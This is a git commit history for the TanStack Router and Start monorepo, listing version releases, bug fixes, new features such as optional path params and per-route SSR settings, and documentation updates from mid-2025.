fix(router-core): update MatchRoutesFn signature and proper deprecate old usage (#4730) 2025-07-21 23:49:01 +02:00
Tanner Linsley
24ba0b7bba release: v1.129.1 2025-07-21 20:36:10 +00:00
Manuel Schiller
748a4be5a0
fix: fix start vite plugin during dev and prod (#4736) 2025-07-21 22:34:41 +02:00
Lukas Steinbrecher
86e0f8f286
docs(router): add guide on automatic code splitting (#4717)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-07-21 17:16:09 +12:00
Tanner Linsley
dc5d0241a5 release: v1.129.0 2025-07-20 23:11:25 +00:00
Manuel Schiller
f9dfb3121f
feat: pass in router instance in client function middleware (#4723)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-21 01:09:46 +02:00
Manuel Schiller
a1d54c40df
chore: don't run autofix on draft PRs (#4722) 2025-07-20 11:55:33 +02:00
Tanner Linsley
da6070c820 release: v1.128.8 2025-07-20 05:39:51 +00:00
Lee
e63f4e49d3
fix(router-core): change error type in ErrorComponentProps (#4691)
fixes #4686

---------

Signed-off-by: leesb971204 <leesb971204@gmail.com>
2025-07-20 07:33:04 +02:00
Tanner Linsley
da3c81c332 release: v1.128.7 2025-07-20 05:21:56 +00:00
Manuel Schiller
ddc6b5d229
fix: re-enable fuzzy matching to allow notFoundMode: fuzzy (#4721)
fixes #4712
2025-07-20 07:20:28 +02:00
Tanner Linsley
f5e3a5ff94
docs: Correct optional params docs syntax (#4720)
Correct optional parameter syntax in documentation by removing
unnecessary parentheses.

---

**Open Background Agent:** 


[Web](https://www.cursor.com/agents?id=bc-e64937de-18eb-4b0c-8696-c1e1f2eb8a9d)
·
[Cursor](https://cursor.com/background-agent?bcId=bc-e64937de-18eb-4b0c-8696-c1e1f2eb8a9d)

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
2025-07-19 15:32:02 -06:00
Tanner Linsley
1591405bd1 release: v1.128.6 2025-07-19 15:56:28 +00:00
Manuel Schiller
7ae6f51dd2
fix: ensure unique match id when optional parameter is not present (#4716) 2025-07-19 17:55:03 +02:00
Flo
eeb082457c
feat(router-core) path: parsePathname uses integers for Segment type (#4711)
Using integers instead of strings when possible is always better for
performance. It uses less memory, and enables faster comparisons.

This is also preparatory work for a build-time `parsePathname` as it
will result in a smaller output (though once gzipped it might not make a
difference in downloaded kB in the end).
2025-07-19 13:30:59 +02:00
Flo
113bf2130c
feat(router-core) path: parsePathname returns a readonly array (#4705)
`parsePathname` should return a `ReadonlyArray` instead of `Array`, and
`Segment` should be `readonly` too. This is because if we want to
improve perf by either caching at runtime or pre-computing routes at
build time, we need to ensure those objects can't be manipulated.

An unrelated change in this PR is also to move some inline functions to
module-scoped functions: `segmentToString` (from `resolvePath`) and
`isMatch` (from `matchByPath`). Those functions are in the hot path so
it's nice if the runtime compiler can promote them to optimized
functions.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-19 10:13:03 +02:00
Tanner Linsley
614ac9bc09 release: v1.128.5 2025-07-18 23:51:30 +00:00
Manuel Schiller
241a250f58
fix: dev server improvements (#4706) 2025-07-19 01:50:06 +02:00
Tanner Linsley
12a30c5d1f
docs: Identify top 10 how-to docs, add deployment guide (#4701)
<!-- One very short sentence on the WHAT and WHY of the PR. E.g. "Remove
pathHash attribute because it is confirmed unused." or "Add DNS round
robin to improve load distribution." -->
Add a comprehensive how-to guide for deploying TanStack Router to
production and establish a multi-PR process for future documentation.

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-18 15:15:07 -06:00
Tanner Linsley
fcba1347e8 release: v1.128.4 2025-07-18 20:32:28 +00:00
Arciom Picikin
a9270d3c12
fix(react-router): preserve ref type in createLink with required interface properties (#4674)
Fixes #4673

I a bit simplified the `UseLinkReactProps` to make more use of typing
from React (and this simplification just fixes the bug)
Also added a test to check that the bug is no longer reproduced
2025-07-18 22:25:22 +02:00
Tanner Linsley
33302b6cda
docs: Create TanStack Router installation how-to (#4700)
Add new 'How-To' documentation section for React with a terse
installation guide to provide bite-sized, task-oriented instructions.

This new section aims to provide extremely concise, step-by-step
instructions for common tasks, making it easier for users and AI to
quickly find and follow specific procedures. Existing guides that
previously contained detailed installation steps now reference this new,
focused how-to guide to avoid content duplication and improve
discoverability.

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-18 13:41:21 -06:00
Tanner Linsley
3b8b2bc24a
docs: Document optional path params for i18n (#4699)
Add documentation for prefix-based internationalization (i18n) using
Optional Path Parameters.

This PR adds a comprehensive guide on implementing i18n patterns,
covering:
- Prefix-based i18n routing (e.g., `/{-$locale}/about`)
- Complex i18n patterns with multiple optional parameters
- Language navigation using function-style `params` for `Link`
components
- Advanced i18n with route groups
- SEO best practices (canonical URLs, hreflang)
- Type safety for locale validation

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-18 13:40:12 -06:00
Manuel Schiller
5b2dd557fe
fix: during route ranking, rank params higher if followed by a static segment (#4685)
fixes #4681
2025-07-18 10:49:42 -06:00
Tanner Linsley
9d9554c43f release: v1.128.3 2025-07-17 22:38:48 +00:00
Sean Cassiere
6ed0caf0a5
docs(router): prefixes and suffixes for path params (#4690) 2025-07-18 10:34:32 +12:00
wookhyung
7c6d4c1325
fix(router-core): reset statusCode to 200 on navigation start (#4664)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-18 00:25:35 +02:00
Tanner Linsley
80e76377b5 release: v1.128.2 2025-07-17 22:13:43 +00:00
Manuel Schiller
1b319d0485
fix: default to addHmr in dev if not set (#4689) 2025-07-18 00:12:11 +02:00
Nico Lynzaad
e90171ab38
fix: resolve flaky e2e tests on useServerFn redirect tests (#4688)
This PR addresses some flaky tests in the redirect e2e tests for
react-start and solid start.

Specifically, when testing external redirects use useServerFn it was
trying to reach out to http://example.com. This updates it to redirect
to the local dummy server.
2025-07-18 00:02:28 +02:00
Usman S. (Max Programming)
132bd0c6d3
docs(start): build-from-scratch guide to use customVite(React/Solid)Plugin (#4678)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-07-17 23:00:02 +12:00
Tanner Linsley
4704c97779 release: v1.128.1 2025-07-17 07:34:51 +00:00
wookhyung
1930152cca
fix(start-server-core): properly merge middleware context objects (#4665) 2025-07-17 19:29:51 +12:00
Flo
89c7b5d660
test(react-router,solid-router): test re-render for preload='viewport' (#4672) 2025-07-17 19:15:11 +12:00
Nico Lynzaad
3854370bdf
fix: assign random ports for e2e tests (#4676)
This is a follow on from #4653

This PR resolves flaky E2E tests caused by port collisions when running
tests in parallel.

Instead of deriving ports from package names (which can collide), this
new approach assigns a random, available port to each test server
instance.

Key Changes:

- Random Port Allocation: Each test server (Playwright, dummy servers)
gets a unique, random port at startup.
- File-based Sync: The server writes its assigned port to a port.txt
file in its test project directory, this is kept unique through using
the package name or another input string for the file name.
- Test Runner Sync: The test runner reads the port from that file to
build the correct URL.
- Automatic Cleanup: All port files are deleted at the start of each
test:e2e run to ensure fresh ports.

Local parallel runs (up to 10) have shown this to be stable and free of
collisions.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-17 07:24:59 +02:00
Tanner Linsley
b3a83c186f release: v1.128.0 2025-07-16 19:49:23 +00:00
Tanner Linsley
a2424c0f02
feat: optional path params (#4597)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: Indrek Ardel <indrek@ardel.eu>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-16 13:41:58 -06:00
Indrek Ardel
db1331f9b8
tests(solid-router): enable ClientOnly SSR test (#4666) 2025-07-16 19:58:35 +02:00
Flo
a719495cd8
fix(react-router) useLinkProps memoization and performance (#4668)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-16 19:45:45 +02:00
Tanner Linsley
4f71f6b398 release: v1.127.9 2025-07-15 20:26:47 +00:00
Indrek Ardel
ba590c2111
fix(solid-router): prevent client effects running on server (#4621) 2025-07-15 22:19:37 +02:00
Sean Cassiere
aa1fb5d553
fix(router-plugin): composed plugin to consider options from json config (#4654) 2025-07-15 14:18:02 +12:00
Tanner Linsley
51307bb47b release: v1.127.8 2025-07-14 21:14:10 +00:00
Manuel Schiller
41bf26b409
fix: allow createRouter to be async (#4652) 2025-07-14 23:12:36 +02:00
Ahmed Abdelbaset
1746c08918
docs(start): remove todo from Server Routes guide (#4650) 2025-07-14 22:43:26 +12:00
Tanner Linsley
5ecdd87fd2 release: v1.127.7 2025-07-13 20:51:26 +00:00
Tim
d537b56ebd
fix(react-start-client): useServerFn returns a stable reference (#4647) 2025-07-13 22:46:39 +02:00
RawToast
9fb55b8863
docs: Update tsr.config.json options link (#4638)
The link at for tsr.config.json found [in this
section](https://tanstack.com/router/latest/docs/framework/react/migrate-from-react-location#differences-between-react-location-and-tanstack-router)
points to [this page about file routing styles in the
docs](https://tanstack.com/router/latest/docs/framework/react/routing/file-based-routing#options)

That doesn't seem right, when the `tsr.config.json` options are [found
here](https://tanstack.com/router/latest/docs/api/file-based-routing)

I've followed the docs in the `tanstack.com` page and checked this link
works as expected 😌
2025-07-13 09:45:18 +02:00
James Cleveland
3e4b024a6b
docs(start): list static prerendering options (#4635) 2025-07-13 11:56:19 +12:00
James Cleveland
fe01311cbb
docs: remove somewhat incorrect statement from docs (#4636)
There's absolutely no reason not to use TanStack Start for purely static
sites - it works great, and it means that if you then want to transition
a codebase to being dynamically SSR, it requires zero work!
2025-07-12 23:57:47 +02:00
anthony2261
71939c46c6
docs: Add enableBeforeUnload option example in navigation-blocking.md (#4634)
Added a note on using the `enableBeforeUnload` option in `useBlocker` +
example in the "Component-based blocking" section.

@schiller-manuel I wasn't sure if there should be an entire section for
this or just a note with 1-2 examples in the existing sections (I did
the latter).

Also thanks for pushing me to contribute even if it's a small one :)
2025-07-12 23:38:50 +02:00
Tanner Linsley
79b2c61841 release: v1.127.6 2025-07-12 19:37:51 +00:00
James Cleveland
5f42bc4cb6
fix: allow prerender if no pages specified (#4632)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-12 21:28:01 +02:00
Tanner Linsley
dbbcd296f0 release: v1.127.5 2025-07-12 19:22:40 +00:00
Juliusz Kościołek
6b55a33d69
fix: invalid path generation for params above groups routes (#4629)
Fixes #4599

# Previous behavior

```
$param
    (group)
        route.tsx
        index.tsx
```

when router-generator processes the `route.tsx` node, the `split`
variable


8df504c3a4/packages/router-generator/src/generator.ts (L1258)

will be `[ '$param', '(group)' ]`, and because the last part is a group


8df504c3a4/packages/router-generator/src/generator.ts (L1263)

the whole route will be generated as pathless, i.e.

```ts
const IndexRoute = IndexRouteImport.update({
  id: '/',
  path: '/',
  getParentRoute: () => rootRouteImport,
} as any)
const ParamgroupRouteRoute = ParamgroupRouteRouteImport.update({
  id: '/$param/(group)',
  ////////////////
  path: '/$param/', // <---- This will NOT be here without the fix
  ////////////////
  getParentRoute: () => rootRouteImport,
} as any)
const ParamgroupIndexRoute = ParamgroupIndexRouteImport.update({
  id: '/',
  path: '/',
  getParentRoute: () => ParamgroupRouteRoute,
} as any)
```

therefore the `$param` part of the path will be lost, and it won't be
included in `index.tsx`'s path resolution algorithm (in this case its
path would be `/`)

# Current behavior

When processing a route node, its path is skipped when all nodes between
it and the higher route are groups.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-12 21:14:48 +02:00
Tanner Linsley
db8ae23adc release: v1.127.4 2025-07-12 00:19:16 +00:00
Onur Guvenc
bbc480aeda
fix(start-server-functions-server): add base path to the RPC URL (#4619) 2025-07-12 12:05:24 +12:00
Tanner Linsley
c1d38af5d3 release: v1.127.3 2025-07-11 23:20:25 +00:00
Manuel Schiller
4b4562aea6
fix: don't run router.load() when hydrating only SSRed matches (#4630)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-12 01:18:27 +02:00
Nico Lynzaad
8df504c3a4
consider routeFileIgnorePattern when checking routePrefixes (#4626)
This PR closes #4623 by considering routeFileIgnorePattern when checking
for routeFilePrefix

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-11 23:30:59 +02:00
Tanner Linsley
a4ae8bd735 release: v1.127.2 2025-07-11 21:28:46 +00:00
kusiewicz
418ab856cc
fix: remove unused jsesc (#4628) 2025-07-11 23:21:08 +02:00
Tanner Linsley
0cf5cdc9c8 release: v1.127.1 2025-07-11 17:58:01 +00:00
kusiewicz
c334ecf546
fix: remove debug log (#4604) 2025-07-11 19:49:35 +02:00
Tanner Linsley
121df623eb release: v1.127.0 2025-07-10 22:26:56 +00:00
Manuel Schiller
6475b35057
feat: use seroval for SSR (#4600) 2025-07-11 00:25:32 +02:00
Tanner Linsley
d0ed7ce016 release: v1.126.2 2025-07-10 21:04:59 +00:00
Nico Lynzaad
16e50e09bf
fix: resolve false positive "could not find match from" (#4610)
fixes #4284
2025-07-10 22:58:08 +02:00
Sean Cassiere
b9f88c5426
test(router-plugin): split addHmr snapshot testing (#4612) 2025-07-10 19:49:47 +12:00
Tanner Linsley
9ebcb2aa37 release: v1.126.1 2025-07-10 03:43:06 +00:00
wookhyung
f9b5a5a4a8
fix(start): support SSR for non-Latin character route paths (#4611) 2025-07-10 15:33:18 +12:00
Tanner Linsley
4124583bce release: v1.126.0 2025-07-09 21:28:49 +00:00
Manuel Schiller
d4ddeb52d0
feat: custom vite react/solid plugins (#4609) 2025-07-09 23:26:22 +02:00
Tanner Linsley
3193ee9b68 release: v1.125.7 2025-07-09 20:53:59 +00:00
Brenley Dueck
fb3d30aa86
fix: lock solid-store version (#4607)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-09 22:47:08 +02:00
Robert Soriano
9ae73ac989
chore(examples): Bump @clerk/tanstack-react-start to 0.19.0 (#4605) 2025-07-09 19:41:09 +02:00
Jordan Winslow
5fd079e482
docs: replace reference to app folder with the correct src folder (#4598) 2025-07-08 19:37:15 +02:00
Tanner Linsley
63c82b638f release: v1.125.6 2025-07-07 18:14:42 +00:00
Manuel Schiller
ba6f0bac3f
fix: correct url in dev server (#4593) 2025-07-07 20:07:36 +02:00
Manuel Schiller
7ff52af738
fix: set component return type to any by default (#4592) 2025-07-07 20:07:27 +02:00
Dimitris Karagiannis
3705d8dd4d
docs: improve wording for LLM assistance support in installation.md (#4586) 2025-07-07 19:03:24 +02:00
Tanner Linsley
b01a349583 release: v1.125.5 2025-07-07 03:42:20 +00:00
Wei Tang Lin
84228d51dd
fix(router-plugin): code-splitting to handle explicit undefined (#4564)
Co-authored-by: weitang.lin <weitang.lin@mujin.co.jp>
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-07-07 15:35:55 +12:00
Teemu Sirkiä
e0dfe30755
docs(start): ssr inheritance (#4583) 2025-07-06 21:29:26 +02:00
Youssef Benlemlih
fab63d9ee5
docs: ssr rendered on server (#4582) 2025-07-06 19:16:05 +02:00
Tanner Linsley
e962feba79 release: v1.125.4 2025-07-06 16:28:55 +00:00
Nico Lynzaad
96032358b2
fix: buildLocation check for non changing routes - consider trailing slashes (#4581)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-06 18:22:11 +02:00
Elliot Nash
ae2e919ebf
docs(start): update hosting docs to reflect vite migration (#4575) 2025-07-06 15:04:40 +02:00
Tanner Linsley
665ceda4a8 release: v1.125.3 2025-07-06 10:42:17 +00:00
Tanner Linsley
5b4a874c1d
fix: trim undefined from splat routes with no param (#4558)
Fixes #4547

---------

Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-07-06 12:40:58 +02:00
Brenley Dueck
1098db7c88
fix(solid-router): rerender match when id changes (#4568) 2025-07-06 10:12:17 +02:00
Tanner Linsley
59814eb554 release: v1.125.2 2025-07-06 06:08:33 +00:00
Brenley Dueck
eb8a5f0773
fix(solid-router): loaders being called twice during SSR (#4574)
Basically my understanding is that the `load` function gets called once
during SSR but right now our `Transitioner` calls it again as it appears
`createRenderEffect` run on the server too where as the `useEffect` in
React doesn't.

The fix is just to bail out if its running on the server. Feels kinda
hacky but it works.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-06 07:54:13 +02:00
Tanner Linsley
6c46c6e1dd release: v1.125.1 2025-07-05 19:44:03 +00:00
Manuel Schiller
ffb1fb4c62
fix: clear pendingTimeout when match resolves (#4579) 2025-07-05 21:41:45 +02:00
Tanner Linsley
eb21cc7e45 release: v1.125.0 2025-07-05 12:36:31 +00:00
Manuel Schiller
d728d69900
feat: ssr setting per route (#4565)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-05 14:35:14 +02:00
Tanner Linsley
7938ff4832 release: v1.124.2 2025-07-05 04:18:41 +00:00
Nico Lynzaad
09e152a897
fix: Make buildLocation aware of non-changing routes (#4573)
This is an attempt to resolve #4526 by making buildLocation aware of the
fact that even though there is a "to" path the route is not always
changing. This is specifically the case with to="." navigations.

This also adds a test largely based on the test provided by
[amargielewski](https://github.com/amargielewski)

fixes #4526

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-05 06:11:25 +02:00
Daniel Power
9e35918038
docs: Change next.js wording (#4562)
Based on my reading, I think the use of `not` here was unintentional.
Feel free to close if I'm misinterpreting the intent.
2025-07-02 22:47:08 +02:00
Masum Gökyüz
d0f234d05a
docs: update import for server function in React basics guide (#4561) 2025-07-02 22:05:36 +02:00
Tanner Linsley
417bc0c6fe release: v1.124.1 2025-07-02 19:40:06 +00:00
Manuel Schiller
15ec551425
fix: don't invalidate virtual module for server function manifest when compiling ?tsr-directive modules (#4566)
see #4486
2025-07-02 21:31:44 +02:00
Tanner Linsley
9b93a05f70 release: v1.124.0 2025-07-01 22:34:47 +00:00
Felipe Stanzani
ceec4f2102
feat: Add style to HeadContent (#4559)
Currently Route HeadContent don't have support to inline style tags.

After a contribution proposition made by @schiller-manuel in the Discord
Group I have decided to implement this.

I also have used this in the basic example for react-start and
solid-start and added style and style w/loader test cases to both
modules.

---------

Co-authored-by: Flo <fpellet@ensc.fr>
2025-07-02 00:28:12 +02:00
Usman S. (Max Programming)
3e1d2f40e6
docs(guide): integrate tailwind (#4549)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-07-01 22:47:42 +02:00
Robert Soriano
cd796fae01
chore(examples): Use Clerk devinxi version (#4392)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-07-01 00:06:23 +02:00
Tanner Linsley
2101f55741 release: v1.123.2 2025-06-30 20:04:43 +00:00
Manuel Schiller
05348a71f5
fix: correctly handle pending vs. cached matches (#4550) 2025-06-30 22:02:03 +02:00
Tanner Linsley
46448a4ef5 release: v1.123.1 2025-06-30 17:38:45 +00:00
Manuel Schiller
6907535bf1
fix: invalidate modules after server function manifest update (#4551)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-30 19:37:08 +02:00
Nico Lynzaad
e1daa05759
chore(examples): fix with-trpc and with-trpc-react-query examples (#4539)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-06-30 14:08:36 +12:00
Tanner Linsley
5d50a306cc release: v1.123.0 2025-06-29 19:48:48 +00:00
Manuel Schiller
8276c5f50b
feat: add forcePending to router.invalidate() (#4545) 2025-06-29 21:46:10 +02:00
Tanner Linsley
8cbb3c6ee3 release: v1.122.1 2025-06-28 21:16:33 +00:00
Manuel Schiller
9a6fa0adcb
fix: correctly handle multiple imports of @tanstack/react-start/server (#4544)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-28 23:15:19 +02:00
Tanner Linsley
640ac95fa7 release: v1.122.0 2025-06-27 20:24:10 +00:00
Manuel Schiller
cb7c0b97d3
fix: pin packages to exact versions (#4537) 2025-06-27 22:17:59 +02:00
Sasha Klein
1c336650d5
examples: fix workos example callback path (#4534) 2025-06-27 22:17:52 +02:00
Manuel Schiller
5b74ca838f
fix: better error message in router generator (#4538)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-27 22:17:44 +02:00
Manuel Schiller
eb28ad02db
feat: add optional shellComponent to root route (#4528) 2025-06-27 22:17:38 +02:00
Tanner Linsley
560841dac4 release: v1.121.41 2025-06-27 03:46:39 +00:00
Sean Cassiere
55a8cd8d6c
fix(react-router,solid-router): prevent unsafeRelative prop going into the DOM (#4530) 2025-06-27 15:44:57 +12:00
SeanCassiere
cbb70fcdf5
docs(router): setup mirroring of SSR guide for SolidJS 2025-06-27 15:31:11 +12:00
SeanCassiere
63b92fe46f
docs(router): remove h4 tag on SSR guide 2025-06-27 15:17:19 +12:00
SeanCassiere
b1b11791c8
docs(router): fixup formatting on the SSR guide 2025-06-27 15:16:47 +12:00
Nico Lynzaad
f6ffd198d0
docs(guide) - update router ssr guides (#4527)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-27 00:21:34 +02:00
Tanner Linsley
cafd097779 release: v1.121.40 2025-06-26 21:34:05 +00:00
hoony
40f456e9d9
fix: Preserve cached data during concurrent navigation and refetch (#4513)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-26 23:10:12 +02:00
Tanner Linsley
be88e4cbc7 release: v1.121.39 2025-06-26 20:36:11 +00:00
Manuel Schiller
f07e33fdad
fix: ignore virtual server function manifest when compiling (#4523) 2025-06-26 22:33:28 +02:00
Nico Lynzaad
8302ec1303
fefactor: restructure SSR handling between start/router (#4495) 2025-06-26 22:14:57 +02:00
Tanner Linsley
93c22c68bd release: v1.121.38 2025-06-25 22:35:22 +00:00
Vladimir Kutepov
91d1e3863f
fix: follow server fn redirects when submitting formdata (#4519)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-25 23:26:23 +02:00
Tanner Linsley
1d5c8a403e release: v1.121.37 2025-06-25 20:08:04 +00:00
Manuel Schiller
ef76302df4
fix: preserve file owner and permissions when rewriting file in generator (#4522) 2025-06-25 22:06:48 +02:00
Manuel Schiller
4aeaf1cba4
Update bug_report.yml 2025-06-25 21:54:33 +02:00
Tanner Linsley
7aba2bee3e release: v1.121.36 2025-06-25 19:50:58 +00:00
Manuel Schiller
1853d3711b
fix: only invalidate virtual server function manifest module in server env (#4521)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-25 21:49:31 +02:00
kusiewicz
f80a52fbd4
docs(start): typo in hosting guide (#4512) 2025-06-25 15:04:26 +12:00
kusiewicz
3a564098a9
docs(router): typo in file-based routing guide (#4511) 2025-06-25 15:04:04 +12:00
Tanner Linsley
535d38e692 release: v1.121.35 2025-06-24 03:46:50 +00:00
Andy Abi Haidar
6a56817b8e
fix(start-plugin-core): use joinURL for joining js entries in manifests (#4508)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-06-24 15:39:23 +12:00
bloodnighttw
e605592e16
docs(start): remove SSR page link (#4505) 2025-06-24 15:11:47 +12:00
Ulrich Stark
ffeb725020
chore(examples): move beforeLoad property before head in createFileRoute (#4504) 2025-06-24 15:11:02 +12:00
Tanner Linsley
5106aa36d1 release: v1.121.34 2025-06-23 02:56:35 +00:00
Naoya Shimizu(Shimmy)
980159ae10
refactor(history): use TSR_key namespace in state for hash (#4356)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-06-23 14:48:54 +12:00
Dovakeidy
84f8f96b0f
docs(router): update component structure in routing guide (#4355)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-06-23 14:34:10 +12:00
Ulrich Stark
98d268ad23
chore(examples): cleanup the start-supabase-basic example (#4494) 2025-06-23 11:41:49 +12:00
Tanner Linsley
5f27e081ab release: v1.121.33 2025-06-22 23:31:30 +00:00
Jan Vollmer
785681fa05
fix(router-core): resolve with basepath if to is not supplied (#4472)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-06-23 11:23:57 +12:00
Ahmed Abdelbaset
a211a4dc25
docs: fix typos and wrong paths in server-routes.md (#4461) 2025-06-22 09:03:48 +02:00
Usman S. (Max Programming)
c48b5ba457
docs: Added missing triple-slash directive for css imports (#4498) 2025-06-21 20:26:32 +02:00
Manuel Schiller
6248b69e5e
docs: remove alpha notice from nextjs migration guid 2025-06-21 11:29:44 +02:00
SeanCassiere
3e2e78dda8
ci: labeler to use pull_request_target 2025-06-21 20:51:18 +12:00
Tanner Linsley
ac1633f7d3 release: v1.121.32 2025-06-21 06:57:50 +00:00
Manuel Schiller
ca017cd14e
fix: server routes handle per verb middlewares (#4491)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-21 08:54:20 +02:00
Tanner Linsley
5b94b9dce2 release: v1.121.31 2025-06-20 21:54:58 +00:00
Manuel Schiller
4a1230d996
fix: use plugin hook filers (#4489) 2025-06-20 23:53:25 +02:00
Tanner Linsley
284fb76238 release: v1.121.30 2025-06-20 20:10:06 +00:00
Manuel Schiller
16fad9c49c
fix: ensure early hydration in prod build (#4488) 2025-06-20 22:08:38 +02:00
Ulrich Stark
45b43d090c
examples: remove unnecessary awaits in start-supabase-basic example (#4485) 2025-06-20 20:07:17 +02:00
Manuel Schiller
7cd1350cdd
fix: provide dummy server function manifest to client env (#4482) 2025-06-20 20:02:43 +02:00
Tanner Linsley
d672b229ae release: v1.121.29 2025-06-20 12:54:49 +00:00
Manuel Schiller
9c8231de1e
fix: add id filter to transform to avoid matching .html on rspack/webpack (#4483)
fixes #4481
fixes #4456
2025-06-20 14:53:32 +02:00
Richard Honor
f42b8a066b
docs: use correct syntax for createFileRoute (#4470)
Some of the documentation was missing the path parameter for
`createFileRoute`, which is required by default.

This PR adds those paths back, and tries to make it as relevant to the
surrounding context as possible.

Fixes #4372
2025-06-20 04:50:47 +02:00
Oroneki
4230b507b3
docs: Update server-routes.md (#4477)
Updating server route docs example with correct endpoint in code
example. Excluding the `"/api"` prefix.
2025-06-20 04:48:48 +02:00
Tanner Linsley
0e43fdef13 release: v1.121.28 2025-06-19 18:50:32 +00:00
Manuel Schiller
c47f56d0b1
fix: server function fixes (#4474) 2025-06-19 20:41:52 +02:00
Tanner Linsley
0350b1c01d release: v1.121.27 2025-06-19 11:29:16 +00:00
Jan Vincent Liwanag
7d80f1f99f
fix: export RedirectOptions type (#4468)
RedirectOptions type recently introduced but missing exports from index.
2025-06-19 13:05:10 +02:00
Manuel Schiller
7e257df6bf
tests: wait for scripts route to be loaded before evaluating script (#4465) 2025-06-19 02:04:14 +02:00
Tanner Linsley
ebeedad5f3 release: v1.121.26 2025-06-18 23:34:48 +00:00
Manuel Schiller
f0146e1fd7
fix: simplify server function handling (#4464) 2025-06-19 01:33:26 +02:00
Manuel Schiller
84cbcaa27e
fix: make root server route aware of it being the root (#4463) 2025-06-19 01:11:40 +02:00
Tanner Linsley
3c4938e122 release: v1.121.25 2025-06-18 20:44:25 +00:00
Manuel Schiller
6d6a745ec7
fix: swap caches also when not writing route tree file (#4459)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-18 22:18:08 +02:00
Tanner Linsley
a8ee7ac894 release: v1.121.24 2025-06-18 20:12:55 +00:00
Eason Wong
bc13ecb9ff
docs(examples and guide): improve and fix some bugs (#4449) 2025-06-18 22:08:12 +02:00
wookhyung
adc5d5ce94
fix(react-router, solid-router): make head function scripts load properly (#4323) 2025-06-18 22:03:06 +02:00
Rhuan Barreto
6f15922864
docs: Update head management instructions for SPA's (#4457) 2025-06-18 19:28:34 +02:00
Tanner Linsley
3bb4813d1d release: v1.121.23 2025-06-17 21:06:50 +00:00
Manuel Schiller
13c6568b5f
fix: pin start related dependencies to exact versions (#4455) 2025-06-17 22:41:18 +02:00
Tanner Linsley
18c7c3038c release: v1.121.22 2025-06-17 20:13:32 +00:00
Manuel Schiller
49b01ffea0
fix: use bundle to determine preloads (#4453) 2025-06-17 22:12:02 +02:00
Davide Lombardi
c941860cf7
docs: added missing middleware method chaining in context example (#4447)
Co-authored-by: Davide Lombardi <berz@Davides-MacBook-Pro-2.local>
2025-06-17 20:11:12 +02:00
Rykuno
ce3abee5de
chore(examples): add missing vite dependency (#4438) 2025-06-17 10:26:48 +12:00
Tanner Linsley
8a637e247f release: v1.121.21 2025-06-16 22:13:14 +00:00
SeanCassiere
96b9ae14ce
ci: go back to the old workflow 2025-06-17 10:04:45 +12:00
SeanCassiere
ac7e4aefa5
ci: use NX Cloud cache instead of github artifacts 2025-06-17 09:55:08 +12:00
